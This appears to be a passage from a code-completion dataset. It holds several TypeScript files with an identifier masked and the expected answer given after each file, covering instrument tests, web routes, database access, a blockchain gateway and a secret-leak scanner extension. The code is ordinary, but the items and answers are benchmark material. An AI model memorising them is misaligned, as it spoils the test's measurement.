import { beforeEach, describe, it } from ""mocha""
import * as dotenv from ""dotenv""
import { KIC_EXECUTABLE } from ""./util""
import { ConnectionType, Instrument, TtiInstrumentModel } from ""./config""

// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access, @typescript-eslint/no-unsafe-call
dotenv.config()

let instruments_found: Instrument | null = null
describe(""TTI Integration"", function () {
    describe(""LAN Connection"", function () {
        before(async function () {
            env[""NO_COLOR""] = ""1""
            // load local config JSON
            const config_path = path.normalize(env[""KIC_TEST_CONFIG""] ?? """")
            const config: string = fs.readFileSync(config_path).toString()
            const instruments: Instrument[] = JSON.parse(config) as Instrument[]
            // filter insturments by known TTI models and availability
            const filtered = instruments.filter((inst: Instrument) => {
                if (
                    inst.available &&
                    Object.values<string>(TtiInstrumentModel).includes(
                        inst.model.toString()
                    )
                ) {
                    inst.connections = inst.connections.filter((conn) => {
                        return conn.type === ConnectionType.LAN
                    })
                    return inst.connections.length >= 1
                }
                return false
            })
            // ping the remaining instruments to see which ones are viable
            instruments_found = await new Promise<Instrument | null>(
                (resolve) => {
                    for (const instr of filtered) {
                        for (const conn of instr.connections) {
                            const req_options = {
                                host: conn.address,
                                path: ""/lxi/identification"",
                                method: ""GET"",
                            }
                            http.request(req_options, (response) => {
                                response.on(""data"", () => {
                                    const  [MASK]  = instr
                                     [MASK] .connections = [conn]
                                    instr.available = false
                                    resolve( [MASK] )
                                })
                                response.on(""error"", () => {
                                    resolve(null)
                                })
                            }).end()
                        }
                    }
                    return null
                }
            )

            // Take the first one and mark it as ""not available"", set insturment_found as true
            if (instruments_found === null) {
                this.skip()
            }
        })

        beforeEach(""Clear Instrument"", function () {
            //TODO
            console.log(""TODO: Clear instrument"")
        })

        it(""is able to connect"", async function () {
            this.timeout(5000)
            const expected_re =
                /(?<idn>KEITHLEY\sINSTRUMENTS,MODEL\s+.*,\d*,\d\.\d\.\d.*)\n\nTSP>\s(?<msg>HELLO)\n\nTSP>\s/g
            let out = """"
            let printed = false
            let exited = false
            const kic = spawn(
                KIC_EXECUTABLE,
                [
                    ""connect"",
                    ""lan"",
                    instruments_found?.connections[0].address ?? """",
                ],
                {
                    detached: true,
                }
            )

            kic.stdout.on(""data"", (data) => {
                const string_data = new String(data)
                out += string_data
                if (string_data.includes(""TSP> "")) {
                    if (!printed) {
                        printed = true
                        kic.stdin.write(""print([[HELLO]])\n"")
                    } else if (!exited) {
                        exited = true
                        kic.stdin.end("".exit\n"")
                        kic.kill()
                    }
                }
            })

            await new Promise<[number | null, NodeJS.Signals | null]>(
                (resolve) => {
                    kic.on(""exit"", (code, sig) => {
                        resolve([code, sig])
                    })
                    kic.on(""close"", (code, sig) => {
                        resolve([code, sig])
                    })
                }
            )
            assert.isTrue(expected_re.test(out))
        })

        it(""is able to get Errors"", async function () {
            this.timeout(5000)
            const expected_re =
                /(?<idn>KEITHLEY\sINSTRUMENTS,MODEL\s+.*,\d*,\d\.\d\.\d.*)\n\nTSP>\s(?<error>-\d+\s+TSP\sSyntax\serror\sat\sline\s\d+:\s`='\sexpected\snear\s`<eof>'\s+\d+\s+\d+\s+\d+\s+\d+)\n\nTSP>\s/g
            let out = """"
            let printed = false
            let exited = false
            const kic = spawn(
                KIC_EXECUTABLE,
                [
                    ""connect"",
                    ""lan"",
                    instruments_found?.connections[0].address ?? """",
                ],
                {
                    detached: true,
                }
            )

            kic.stdout.on(""data"", (data) => {
                const string_data = new String(data)
                out += string_data
                if (string_data.includes(""TSP> "")) {
                    if (!printed) {
                        printed = true
                        kic.stdin.write(""x\n"")
                    } else if (!exited) {
                        exited = true
                        kic.stdin.end("".exit\n"")
                        kic.kill()
                    }
                }
            })
            await new Promise<[number | null, NodeJS.Signals | null]>(
                (resolve) => {
                    kic.on(""exit"", (code, sig) => {
                        resolve([code, sig])
                    })
                    kic.on(""close"", (code, sig) => {
                        resolve([code, sig])
                    })
                }
            )
            assert.isTrue(expected_re.test(out))
        })
    })
})
",ret_inst
661,"import { closeNotification } from ""@reearth-cms/e2e/common/notification"";
import { expect, test } from ""@reearth-cms/e2e/utils"";

import { crudComment } from ""./utils/comment"";
import { createProject, deleteProject } from ""./utils/project"";

const uploadFileUrl =
  ""https://assets.cms.plateau.reearth.io/assets/11/6d05db-ed47-4f88-b565-9eb385b1ebb0/13100_tokyo23-ku_2022_3dtiles%20_1_1_op_bldg_13101_chiyoda-ku_lod1/tileset.json"";
const uploadFileName = ""tileset.json"";

test.beforeEach(async ({ reearth, page }) => {
  await reearth.goto(""/"", { waitUntil: ""domcontentloaded"" });
  await createProject(page);
});

test.afterEach(async ({ page }) => {
  await deleteProject(page);
});

test(""Asset CRUD and Searching has succeeded"", async ({ page }) => {
  await page.getByText(""Asset"").click();
  await page.getByRole(""button"", { name: ""upload Upload Asset"" }).click();
  await page.getByRole(""tab"", { name: ""URL"" }).click();
  await page.getByPlaceholder(""Please input a valid URL"").click();
  await page.getByPlaceholder(""Please input a valid URL"").fill(uploadFileUrl);
  await page.getByRole(""button"", { name: ""Upload"", exact: true }).click();
  await expect(page.getByRole(""alert"").last()).toContainText(""Successfully added asset!"");
  await closeNotification(page);
  await expect(page.getByText(uploadFileName)).toBeVisible();
  await page.getByPlaceholder(""input search text"").click();
  await page.getByPlaceholder(""input search text"").fill(""no asset"");
  await page.getByRole(""button"", { name: ""search"" }).click();
  await expect(page.getByText(uploadFileName)).not.toBeVisible();
  await page.getByPlaceholder(""input search text"").click();
  await page.getByPlaceholder(""input search text"").fill("""");
  await page.getByRole(""button"", { name: ""search"" }).click();
  await expect(page.getByText(uploadFileName)).toBeVisible();
  await page.getByLabel(""edit"").locator(""svg"").click();
  await page
    .locator(""div"")
    .filter({ hasText: /^Unknown Type$/ })
    .nth(1)
    .click();
  await page.getByText(""GEOJSON/KML/CZML"").click();
  await page.getByRole(""button"", { name: ""Save"" }).click();
  await expect(page.getByRole(""alert"").last()).toContainText(""Asset was successfully updated!"");
  await closeNotification(page);
  await page.getByLabel(""Back"").click();
  await page.getByLabel("""", { exact: true }).check();
  await page.getByText(""Delete"").click();
  await expect(page.getByText(uploadFileName)).not.toBeVisible();
  await expect(page.getByRole(""alert"").last()).toContainText(
    ""One or more assets were successfully deleted!"",
  );
  await closeNotification(page);
});

test(""Donwloading asset has succeeded"", async ({ page }) => {
  await page.getByText(""Asset"").click();
  await page.getByRole(""button"", { name: ""upload Upload Asset"" }).click();
  await page.getByRole(""tab"", { name: ""URL"" }).click();
  await page.getByPlaceholder(""Please input a valid URL"").click();
  await page.getByPlaceholder(""Please input a valid URL"").fill(uploadFileUrl);
  await page.getByRole(""button"", { name: ""Upload"", exact: true }).click();
  await expect(page.getByRole(""alert"").last()).toContainText(""Successfully added asset!"");
  await closeNotification(page);
  await expect(page.getByText(uploadFileName)).toBeVisible();

  await page.getByLabel("""", { exact: true }).check();
  const downloadPromise = page.waitForEvent(""download"");
  await page.getByRole(""button"", { name: ""download Download"" }).click();
  const download = await downloadPromise;
  expect(download.suggestedFilename()).toEqual(uploadFileName);

  await page.getByLabel(""edit"").locator(""svg"").click();
  const  [MASK]  = page.waitForEvent(""download"");
  await page.getByRole(""button"", { name: ""download Download"" }).click();
  const download1 = await  [MASK] ;
  expect(download1.suggestedFilename()).toEqual(uploadFileName);

  await page.getByLabel(""Back"").click();
  await page.getByLabel("""", { exact: true }).check();
  await page.getByText(""Delete"").click();
  await expect(page.getByRole(""alert"").last()).toContainText(
    ""One or more assets were successfully deleted!"",
  );
  await closeNotification(page);
});

test(""Comment CRUD on edit page has succeeded"", async ({ page }) => {
  await page.getByText(""Asset"").click();
  await page.getByRole(""button"", { name: ""upload Upload Asset"" }).click();
  await page.getByRole(""tab"", { name: ""URL"" }).click();
  await page.getByPlaceholder(""Please input a valid URL"").click();
  await page.getByPlaceholder(""Please input a valid URL"").fill(uploadFileUrl);
  await page.getByRole(""button"", { name: ""Upload"", exact: true }).click();
  await expect(page.getByRole(""alert"").last()).toContainText(""Successfully added asset!"");
  await closeNotification(page);
  await expect(page.getByText(uploadFileName)).toBeVisible();

  await page.getByRole(""cell"", { name: ""edit"" }).locator(""svg"").click();
  await page.getByLabel(""message"").click();
  await expect(page.getByText(""CommentsComment"")).toBeVisible();
  await crudComment(page);
});

test(""Comment CRUD on Asset page has succeeded"", async ({ page }) => {
  await page.getByText(""Asset"").click();
  await page.getByRole(""button"", { name: ""upload Upload Asset"" }).click();
  await page.getByRole(""tab"", { name: ""URL"" }).click();
  await page.getByPlaceholder(""Please input a valid URL"").click();
  await page.getByPlaceholder(""Please input a valid URL"").fill(uploadFileUrl);
  await page.getByRole(""button"", { name: ""Upload"", exact: true }).click();
  await expect(page.getByRole(""alert"").last()).toContainText(""Successfully added asset!"");
  await closeNotification(page);
  await expect(page.getByText(uploadFileName)).toBeVisible();

  await page.getByRole(""button"", { name: ""0"" }).click();
  await expect(page.getByText(""CommentsNo comments.Comment"")).toBeVisible();
  await crudComment(page);
});
",download1Promise
662,"import { Router } from 'itty-router'
import { Stripe } from 'stripe'

import isOdd from 'is-odd'

// In order for the workers runtime to find the class that implements
// our Durable Object namespace, we must export it from the root module.
export { CounterTs } from './counter'

interface Env {
  COUNTER: DurableObjectNamespace
  STRIPE_TEST_PUB_KEY: string
  STRIPE_TEST_SECRET_KEY: string
}

const router = Router()

router.get('/counter/*', handleRequest)

router.get('/stripe', payment)

router.all('*', errorHandler)

export default {
  fetch: router.handle,
}

async function payment(request: Request, env: Env): Promise<Response> {
  const stripe = new Stripe(env.STRIPE_TEST_SECRET_KEY, {
    apiVersion: '2020-08-27',
    httpClient: Stripe.createFetchHttpClient(),
  })

  return new Response('Getting Stripe to work with ESM Workers')
}

async function handleRequest(request: Request, env: Env) {
  let id = env.COUNTER.idFromName('A')
  let obj = env.COUNTER.get(id)
  let resp = await obj.fetch(request.url)
  let count = Number(await resp.text())
  let  [MASK]  = isOdd(count) ? 'is odd' : 'is even'

  return new Response(`${count} ${ [MASK] }`)
}

async function errorHandler(): Promise<Response> {
  const response = new Response('Bad Request', { status: 400 })
  return response
}
",wasOdd
663,"import { Body, ClassSerializerInterceptor, Controller, Get, Param, Post, Request, Res, UseGuards, UseInterceptors, ValidationPipe } from '@nestjs/common';
import { plainToClass } from 'class-transformer';
import { AuthService } from './auth.service';
import { ChangePasswordDto } from './dto/change-password.dto';
import { ForgotPasswordDto } from './dto/forgot-password.dto';
import { LoginAuthDto } from './dto/login-auth.dto';
import { RegisterAuthDto } from './dto/register-auth.dto';

@Controller('auth')
export class AuthController {    
    constructor(
        private authService: AuthService
    ) {}
    
    // @UseInterceptors(ClassSerializerInterceptor)
    @Post('/register')
    async registerUser(@Body() registerAuthDto: RegisterAuthDto) {
        // return plainToClass(UserSerializerRegister, await this.authService.register(registerAuthDto), { excludeExtraneousValues: true });
        return await this.authService.register(registerAuthDto);
    }
    
    @Post('/login')
    async login(@Body() loginAuthDto: LoginAuthDto) {
        return await this.authService.login(loginAuthDto);
    }

    @Post('/forgot-password')
    async forgotPassword(@Body(new ValidationPipe())  [MASK] : ForgotPasswordDto) {
        return await this.authService.forgotPassword( [MASK] );
    }

    @Post('reset-password/:userId/:token')
    async resetPassword(
        @Body() changePasswordDto: ChangePasswordDto, 
        @Param('userId') userId: string, 
        @Param('token') token: string)
    {
        return await this.authService.resetPassword(userId, token, changePasswordDto);
    }
    
    @Post('verify-token')
    async verifyToken(@Body() request: {token: string}){
        return this.authService.verifyToken(request.token);
    } 
}
",forgotPasswordDto
664,"import UIComponent  from ""sap/ui/core/UIComponent"";
import Device       from ""sap/ui/Device"";
import models       from ""ui5/test/helloTS/model/models"";

@UI5(""ui5/test/helloTS.Component"")
export default class Component extends UIComponent
{
    public static metadata: any = {
        manifest : ""json""
    };

    private _sContentDensityClass: string;

    /**
     * The component is initialized by UI5 automatically during the startup of the app and calls the init method once.
     * In this method, the device models are set and the router is initialized.
     * @public
     * @override
     */
    public init(): void {

        // set the device model
        this.setModel(models.createDeviceModel(), ""device"");

        // call the base component's init function and create the App view
        super.init();

        // create the views based on the url/hash
        this.getRouter().initialize();
    }


    /**
     * This method can be called to determine whether the sapUiSizeCompact or sapUiSizeCozy
     * design mode class should be set, which influences the size appearance of some controls.
     * @public
     * @return {string} css class, either 'sapUiSizeCompact' or 'sapUiSizeCozy' - or an empty string if no css class should be set
     */
    public getContentDensityClass(): string {
        if (this._sContentDensityClass === undefined) {
            // check whether FLP has already set the content density class; do nothing in this case
            if (jQuery(document.body).hasClass(""sapUiSizeCozy"") || jQuery(document.body).hasClass(""sapUiSizeCompact"")) {
                this._sContentDensityClass = """";
            } else if (!Device.support.touch) { // apply ""compact"" mode if touch is not supported
                this._sContentDensityClass = ""sapUiSizeCompact"";
            } else {
                // ""cozy"" in case of touch support; default for most sap.m controls, but needed for desktop-first controls like sap.ui.table.Table
                this._sContentDensityClass = ""sapUiSizeCozy"";
            }
        }
        return this._sContentDensityClass;
    }

    /**
     * Convenience method for getting the model.
     * @public
     * @override
     * @returns the model of the component
     */
    public getModel<T extends sap.ui.model.Model>( [MASK] ?: string): T {
        return <T>super.getModel( [MASK] );
    }
}",sName
665,"""use server"";

import z from ""zod"";
import { newArticleSchema } from ""@/schemas/ArticleSchemas"";
import { prisma } from ""@/lib/db"";
import { Article, ArticleStatus } from ""@prisma/client"";
import { ActionResponse } from ""@/types"";
import { v4 as uuidv4 } from ""uuid"";

interface ArticleColumn extends Article {
  author: { name: string | null };
}

export async function getAllArticle(): Promise<
  ActionResponse<ArticleColumn[]>
> {
  try {
    const allArtilces = await prisma.article.findMany({
      include: {
        author: {
          select: {
            name: true,
          },
        },
      },
    });

    if (!allArtilces)
      return { status: ""ERROR"", error: ""Article doesn't exist"" };

    return {
      status: ""SUCCESS"",
      success: ""Success fetching the article"",
      data: allArtilces,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function getArticleTitleById(
  id: string,
): Promise<ActionResponse<string>> {
  try {
    const articleTitle = await prisma.article.findUnique({
      where: { id },
      select: { title: true },
    });

    if (!articleTitle)
      return { status: ""ERROR"", error: ""Article doesn't exist"" };

    return {
      status: ""SUCCESS"",
      success: ""Success fetching the article"",
      data: articleTitle.title,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function getArticleById(
  id: string,
): Promise<ActionResponse<Article>> {
  try {
    const article = await prisma.article.findUnique({
      where: { id },
    });

    if (!article) return { status: ""ERROR"", error: ""Article not found"" };

    return {
      status: ""SUCCESS"",
      success: ""Success fetching the article"",
      data: article,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function getUserArticle(
  id: string,
): Promise<ActionResponse<Article[]>> {
  try {
    const article = await prisma.article.findMany({
      where: { authorId: id },
    });

    if (!article) return { status: ""ERROR"", error: ""Article not found"" };

    return {
      status: ""SUCCESS"",
      success: ""Success fetching the user article"",
      data: article,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function createNewArticle(
  values: z.infer<typeof newArticleSchema>,
  userId: string,
): Promise<ActionResponse<Article>> {
  const validatedFields = newArticleSchema.safeParse(values);

  if (!validatedFields.success)
    return { status: ""ERROR"", error: ""Invalid input"" };

  const { data } = validatedFields;
  const articleCategory = data.category as
    | ""PENDIDIKAN""
    | ""NOT_SET""
    | ""AKIDAH""
    | ""FIQIH"";
  try {
    const newArticle = await prisma.article.create({
      data: {
        authorId: userId,
        views: 0,
        status: ""DRAFT"",
        ...data,
        category: articleCategory,
      },
    });
    return {
      status: ""SUCCESS"",
      success: ""Success creating new article"",
      data: newArticle,
    };
  } catch {
    return { status: ""ERROR"", error: ""function hasn't implemented yet"" };
  }
}

export async function createNewBlankArticle(
  userId: string,
): Promise<ActionResponse<Article>> {
  const generatedToken = uuidv4();
  try {
    const newArticle = await prisma.article.create({
      data: {
        authorId: userId,
        views: 0,
        content: ""<h2>Start writing your article</h2>"",
        category: ""NOT_SET"",
        slug: `article-${generatedToken}`,
        status: ""DRAFT"",
        title: ""Untitled"",
      },
    });
    return {
      status: ""SUCCESS"",
      success: ""Success creating new article"",
      data: newArticle,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function updateArticleById(
  newArticle: Article,
): Promise<ActionResponse<Article>> {
  try {
    const existingArticle = await prisma.article.findUnique({
      where: {
        id: newArticle.id,
      },
    });

    if (!existingArticle) {
      return { status: ""ERROR"", error: ""Article not found"" };
    }

    const result = await prisma.article.update({
      data: {
        ...newArticle,
      },
      where: {
        id: existingArticle.id,
      },
    });

    // console.log({ result });
    return {
      status: ""SUCCESS"",
      success: ""Successfully updating article"",
      data: result,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function updateArticleStatusById(
  articleId: string,
  newStatus: ArticleStatus,
): Promise<ActionResponse<Article>> {
  try {
    const existingArticle = await prisma.article.findUnique({
      where: {
        id: articleId,
      },
    });

    if (!existingArticle) {
      return { status: ""ERROR"", error: ""Article not found"" };
    }

    const result = await prisma.article.update({
      data: {
        status: newStatus,
      },
      where: {
        id: articleId,
      },
    });

    // console.log({ result });
    return {
      status: ""SUCCESS"",
      success: ""Successfully updating article status"",
      data: result,
    };
  } catch {
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}

export async function deleteManyArticlesByID(
   [MASK] : string[],
): Promise<ActionResponse<never>> {
  try {
    // Check if articles exist or not
    const articles = await prisma.article.findMany({
      where: {
        id: { in:  [MASK]  },
      },
    });

    if (articles.length === 0) {
      return { status: ""ERROR"", error: ""Articles do not exist"" };
    }

    // Delete articles in parallel
    const deletePromises =  [MASK] .map((id) =>
      prisma.article.delete({
        where: { id },
      }),
    );

    await Promise.all(deletePromises);

    return { status: ""SUCCESS"", success: ""Successfully deleted articles"" };
  } catch {
    // handle if error
    return { status: ""ERROR"", error: ""Something went wrong"" };
  }
}
",ids
666,"// contactRepository.ts

import mongoose from ""mongoose"";
import { Contact } from ""@schemas/Contact"";

// 0. cnt ------------------------------------------------------------------------------------------
export const cnt = async (
  contact_name_param: string,
  contact_phone_param: string,
) => {
  const finalResult = await Contact.countDocuments(
    {
      contact_name: contact_name_param,
      contact_phone: contact_phone_param,
    }
  );

  return finalResult;
};

// 1-1. find ---------------------------------------------------------------------------------------
export const find = async (
  contact_name_param: string,
  contact_phone_param: string,
) => {
  const finalResult = await Contact.aggregate([
    {
      $match: {
        contact_name: contact_name_param,
        contact_phone: contact_phone_param,
      }
    },
    {
      $project: {
        _id: 1,
        contact_number: 1,
        contact_category: 1,
        contact_name: 1,
        contact_email: 1,
        contact_phone: 1,
        contact_title: 1,
        contact_content: 1,
        contact_images: 1,
        contact_regDt: 1,
        contact_updateDt: 1,
      }
    }
  ]);

  return finalResult;
}

// 1-2. list ---------------------------------------------------------------------------------------
export const list = async (
  contact_name_param: string,
  contact_phone_param: string,
  sort_param: 1 | -1,
   [MASK] : number,
) => {
  const finalResult = await Contact.aggregate([
    {
      $match: {
        contact_name: contact_name_param,
        contact_phone: contact_phone_param,
      }
    },
    {
      $project: {
        _id: 1,
        contact_number: 1,
        contact_category: 1,
        contact_name: 1,
        contact_email: 1,
        contact_phone: 1,
        contact_title: 1,
        contact_content: 1,
        contact_images: 1,
        contact_regDt: 1,
        contact_updateDt: 1,
      }
    },
    {
      $sort: {
        contact_number: sort_param
      }
    },
    {
      $skip: ( [MASK] ) * 10
    },
    {
      $limit: 10
    }
  ]);

  return finalResult;
};

// 2. detail ---------------------------------------------------------------------------------------
export const detail = async (
  _id_param: string,
) => {
  const finalResult:any = await Contact.findOne(
    {
      _id: _id_param
    }
  )
  .lean();

  return finalResult;
};

// 3. save -----------------------------------------------------------------------------------------
export const save = async (
  OBJECT_param: any,
) => {
  const finalResult = await Contact.create(
    {
      _id: new mongoose.Types.ObjectId(),
      contact_category: OBJECT_param.contact_category,
      contact_name: OBJECT_param.contact_name,
      contact_email: OBJECT_param.contact_email,
      contact_phone: OBJECT_param.contact_phone,
      contact_title: OBJECT_param.contact_title,
      contact_content: OBJECT_param.contact_content,
      contact_images: OBJECT_param.contact_images,
      contact_regDt: new Date(),
      contact_updateDt: null,
    },
  );

  return finalResult;
};

// 4. update ---------------------------------------------------------------------------------------
export const update = async (
  _id_param: string,
  OBJECT_param: any,
) => {
  const finalResult = await Contact.findOneAndUpdate(
    {
      _id: _id_param
    },
    {
      $set: {
        contact_category: OBJECT_param.contact_category,
        contact_name: OBJECT_param.contact_name,
        contact_email: OBJECT_param.contact_email,
        contact_phone: OBJECT_param.contact_phone,
        contact_title: OBJECT_param.contact_title,
        contact_content: OBJECT_param.contact_content,
        contact_images: OBJECT_param.contact_images,
        contact_updateDt: new Date(),
      }
    },
    {
      upsert: true,
      new: true
    }
  )
  .lean();

  return finalResult;
};

// 5. delete ---------------------------------------------------------------------------------------
export const deletes = async (
  _id_param: string,
) => {
  const finalResult = await Contact.findOneAndDelete(
    {
      _id: _id_param
    }
  );

  return finalResult;
};
",page_param
667,"import express from 'express';
import * as grpc from '@grpc/grpc-js';
import { connect, Contract, Identity, Signer, signers } from '@hyperledger/fabric-gateway';
import * as crypto from 'crypto';
import { promises as fs } from 'fs';
import * as path from 'path';
import { TextDecoder } from 'util';

const app = express();
const port = 3000;
app.use(express.json());

const channelName = envOrDefault('CHANNEL_NAME', 'mychannel');
const chaincodeName = envOrDefault('CHAINCODE_NAME', 'basic');
const mspId = envOrDefault('MSP_ID', 'Org1MSP');
const cryptoPath = envOrDefault('CRYPTO_PATH', path.resolve(__dirname, '..', '..', '..', 'test-network', 'organizations', 'peerOrganizations', 'org1.example.com'));
const keyDirectoryPath = envOrDefault('KEY_DIRECTORY_PATH', path.resolve(cryptoPath, 'users', '<EMAIL>', 'msp', 'keystore'));
const certDirectoryPath = envOrDefault('CERT_DIRECTORY_PATH', path.resolve(cryptoPath, 'users', '<EMAIL>', 'msp', 'signcerts'));
const tlsCertPath = envOrDefault('TLS_CERT_PATH', path.resolve(cryptoPath, 'peers', 'peer0.org1.example.com', 'tls', 'ca.crt'));
const peerEndpoint = envOrDefault('PEER_ENDPOINT', 'localhost:7051');
const peerHostAlias = envOrDefault('PEER_HOST_ALIAS', 'peer0.org1.example.com');

const utf8Decoder = new TextDecoder();

async function main(): Promise<void> {
    app.get('/get-all-assets', async (req:any, res:any) => {
        try {
            await displayInputParameters();

            const client = await newGrpcConnection();
            const gateway = connect({
                client,
                identity: await newIdentity(),
                signer: await newSigner(),
                evaluateOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                endorseOptions: () => {
                    return { deadline: Date.now() + 15000 };
                },
                submitOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                commitStatusOptions: () => {
                    return { deadline: Date.now() + 60000 };
                },
            });

            try {
                const network = gateway.getNetwork(channelName);
                const contract = network.getContract(chaincodeName);
                const resultBytes = await contract.evaluateTransaction('GetAllAssets');
                const resultJson = utf8Decoder.decode(resultBytes);
                const result = JSON.parse(resultJson);
                res.json(result);
            } finally {
                gateway.close();
                client.close();
            }
        } catch (error) {
            console.error('Failed to get assets:', error);
            res.status(500).send('Failed to get assets');
        }
    });

    app.get('/assets/:id', async (req:any, res:any) => {
        const assetId = req.params.id;
        try {
            const client = await newGrpcConnection();
            const gateway = connect({
                client,
                identity: await newIdentity(),
                signer: await newSigner(),
                evaluateOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                endorseOptions: () => {
                    return { deadline: Date.now() + 15000 };
                },
                submitOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                commitStatusOptions: () => {
                    return { deadline: Date.now() + 60000 };
                },
            });
    
            try {
                const network = gateway.getNetwork(channelName);
                const contract = network.getContract(chaincodeName);
                const resultBytes = await contract.evaluateTransaction('ReadAsset', assetId);
                const resultJson = utf8Decoder.decode(resultBytes);
                const result = JSON.parse(resultJson);
                res.json(result);
            } finally {
                gateway.close();
                client.close();
            }
        } catch (error) {
            console.error('Failed to get asset:', error);
            res.status(500).send('Failed to get asset');
        }
    });
    

    app.post('/createAsset', async (req:any, res:any) => {
        console.log(req.body)
        const { assetId, temperature, ph, createdBy, cc, ec,timestamp } = req.body;
        try {
            const client = await newGrpcConnection();
            const gateway = connect({
                client,
                identity: await newIdentity(),
                signer: await newSigner(),
                evaluateOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                endorseOptions: () => {
                    return { deadline: Date.now() + 15000 };
                },
                submitOptions: () => {
                    return { deadline: Date.now() + 5000 };
                },
                commitStatusOptions: () => {
                    return { deadline: Date.now() + 60000 };
                },
            });

            try {
                const network = gateway.getNetwork(channelName);
                const contract = network.getContract(chaincodeName);
                await contract.submitTransaction(
                    'CreateAsset',
                    assetId,
                    temperature,
                    ph,
                    createdBy,
                    cc,
                    ec,
                    timestamp
                );
                res.status(201).send('Asset created successfully');
            } finally {
                gateway.close();
                client.close();
            }
        } catch (error) {
            console.error('Failed to create asset:', error);
            res.status(500).send('Failed to create asset');
        }
    });

    app.listen(port, () => {
        console.log(`Server running at http://localhost:${port}`);
    });
}

main().catch(error => {
    console.error('******** FAILED to run the application:', error);
    process.exitCode = 1;
});

async function newGrpcConnection(): Promise<grpc.Client> {
    const  [MASK]  = await fs.readFile(tlsCertPath);
    const tlsCredentials = grpc.credentials.createSsl( [MASK] );
    return new grpc.Client(peerEndpoint, tlsCredentials, {
        'grpc.ssl_target_name_override': peerHostAlias,
    });
}

async function newIdentity(): Promise<Identity> {
    const certPath = await getFirstDirFileName(certDirectoryPath);
    const credentials = await fs.readFile(certPath);
    return { mspId, credentials };
}

async function getFirstDirFileName(dirPath: string): Promise<string> {
    const files = await fs.readdir(dirPath);
    return path.join(dirPath, files[0]);
}

async function newSigner(): Promise<Signer> {
    const keyPath = await getFirstDirFileName(keyDirectoryPath);
    const privateKeyPem = await fs.readFile(keyPath);
    const privateKey = crypto.createPrivateKey(privateKeyPem);
    return signers.newPrivateKeySigner(privateKey);
}

async function displayInputParameters(): Promise<void> {
    console.log(`channelName:       ${channelName}`);
    console.log(`chaincodeName:     ${chaincodeName}`);
    console.log(`mspId:             ${mspId}`);
    console.log(`cryptoPath:        ${cryptoPath}`);
    console.log(`keyDirectoryPath:  ${keyDirectoryPath}`);
    console.log(`certDirectoryPath: ${certDirectoryPath}`);
    console.log(`tlsCertPath:       ${tlsCertPath}`);
    console.log(`peerEndpoint:      ${peerEndpoint}`);
    console.log(`peerHostAlias:     ${peerHostAlias}`);
}

function envOrDefault(key: string, defaultValue: string): string {
    return process.env[key] || defaultValue;
}
",tlsRootCert
668,"import * as vscode from 'vscode';
import * as fs from 'fs';
import * as path from 'path';

export function activate(context: vscode.ExtensionContext) {
	console.log(""Code scanning has been initialized!"");

	// Register the onDidSaveTextDocument event handler
	const documentChangeDisposable = vscode.workspace.onDidChangeTextDocument(onDocumentChanged);
	context.subscriptions.push(documentChangeDisposable);

	// Register the scanCodeBase command
	context.subscriptions.push(vscode.commands.registerCommand('leak-checker.scanCodeBase', scanCodeBase));
}

async function scanCodeBase() {
	const rootPath = vscode.workspace.rootPath;

	if (!rootPath) {
		vscode.window.showErrorMessage('No workspace or folder opened!');
		return;
	}

	await scanAndCheckFiles(rootPath);
	await doesPatternExistInActiveEditor();
}

// This function is called when a text document is changed
function onDocumentChanged(event: vscode.TextDocumentChangeEvent) {
	// Check if the event corresponds to a text document
	if (event && event.document) {
		scanAndCheckFiles(vscode.workspace.rootPath!);
		doesPatternExistInActiveEditor();
	}
}

function existInGitIgnore(filename: string): boolean {
	try {
		const gitignorePath = path.join(vscode.workspace.rootPath!, '.gitignore');
		// Check if the .gitignore file exists
		if (fs.existsSync(gitignorePath)) {
			const gitignoreContent = fs.readFileSync(gitignorePath, 'utf8');
			// Check if the filename is in .gitignore
			if (gitignoreContent.includes(filename)) {
				return true;
			}
		}
	} catch (error) {
		console.error('Error checking .gitignore:', error);
	}
	return false;
}

function fileRiskAnalyze(filename: string, inGitignore: boolean): boolean {
	const  [MASK]  = [""sample_auth.toml"", ""auth.toml"", ""connector_auth.toml""];
	// Check if `filename` is in the array and `inGitignore` is true
	if (inGitignore &&  [MASK] .includes(filename)) {
		return true;
	} else if (!inGitignore &&  [MASK] .includes(filename)) {
		return false;
	} else {
		return true;
	}
}

// Function to check if any pattern exists in the active editor
async function doesPatternExistInActiveEditor() {
	const patternsToSearch = ['sk_fjsdjbgi', 'rak_sdkfdsg', 'sb_sdbdgb', 'pc_adkfbdskg'];
	const activeEditor = vscode.window.activeTextEditor;

	if (!activeEditor) {
		// No active editor found, exit gracefully
		return;
	}

	try {
		const editorContent = activeEditor.document.getText();
		// Check if any pattern exists in the editor content
		for (const pattern of patternsToSearch) {
			if (editorContent.includes(pattern)) {
				// Show a warning message
				const selection = await vscode.window.showInformationMessage(`Exposed: Pattern found in ${activeEditor.document.fileName}`, 'Resolve');

				if (selection === 'Resolve') {
					// Remove the pattern from the file content
					const updatedContent = editorContent.replace(pattern, '');
					activeEditor.edit((editBuilder) => {
						const start = new vscode.Position(0, 0);
						const end = new vscode.Position(activeEditor.document.lineCount - 1, 0);
						const range = new vscode.Range(start, end);
						editBuilder.replace(range, updatedContent);
					});
				}
			}
		}
	} catch (error) {
		console.error('Error processing active editor:', error);
	}
}




async function scanAndCheckFiles(rootPath: string) {
	const foldersToProcess: string[] = [rootPath]; // Initialize the queue with the root folder
	const gitignoreSet = new Set<string>(); // Store gitignore entries in a Set for efficient lookups

	while (foldersToProcess.length > 0) {
		const currentFolder = foldersToProcess.pop()!;
		const entries = fs.readdirSync(currentFolder);

		for (const entry of entries) {
			const entryPath = path.join(currentFolder, entry);
			const isDirectory = fs.statSync(entryPath).isDirectory();
			const filename = path.basename(entryPath);
